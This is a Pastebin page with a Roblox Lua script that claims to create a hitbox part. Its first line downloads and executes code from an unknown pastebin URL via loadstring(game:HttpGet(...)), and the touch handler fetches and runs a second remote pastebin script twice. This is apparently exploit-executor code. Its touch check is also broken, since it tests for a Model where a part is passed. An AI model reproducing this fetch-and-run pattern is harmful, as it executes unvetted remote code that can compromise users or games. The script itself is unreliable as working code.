Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- loadstring(game:HttpGet("https://pastebin.com/raw/WhBzWwCu"))()
- -- Create a new part to serve as the hitbox
- local hitbox = Instance.new("Part")
- hitbox.Size = Vector3.new(5, 5, 5) -- Set hitbox size
- hitbox.Transparency = 0.5 -- Make it semi-transparent
- hitbox.Anchored = true
- hitbox.CanCollide = false
- hitbox.Position = Vector3.new(0, 10, 0) -- Set initial position
- hitbox.Parent = workspace
- -- Function to handle hitbox touch
- local function onTouched(other)
- if other:IsA("Model") and (other:FindFirstChild("Humanoid") or other:FindFirstChild("HumanoidRootPart")) then
- -- Check if the hitbox touched a player or a dummy (both have "Humanoid" part)
- -- Sample loadstring code (replace with your desired code)
- local code = [[
- print("Hitbox touched by: " .. other.Name)
- loadstring(game:HttpGet("https://pastebin.com/raw/dn558sDj"))()
- ]]
- -- Execute the loadstring
- local loadScript = loadstring(code)
- if loadScript then
- loadScript()
- loadstring(game:HttpGet("https://pastebin.com/raw/dn558sDj"))()
- end
- -- Destroy the hitbox after a short delay
- hitbox:Destroy()
- end
- end
- -- Connect the touch event to the function
- hitbox.Touched:Connect(onTouched)
- -- Destroy hitbox if not touched within 1 second
- task.delay(1, function()
- if hitbox and hitbox.Parent then
- hitbox:Destroy()
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement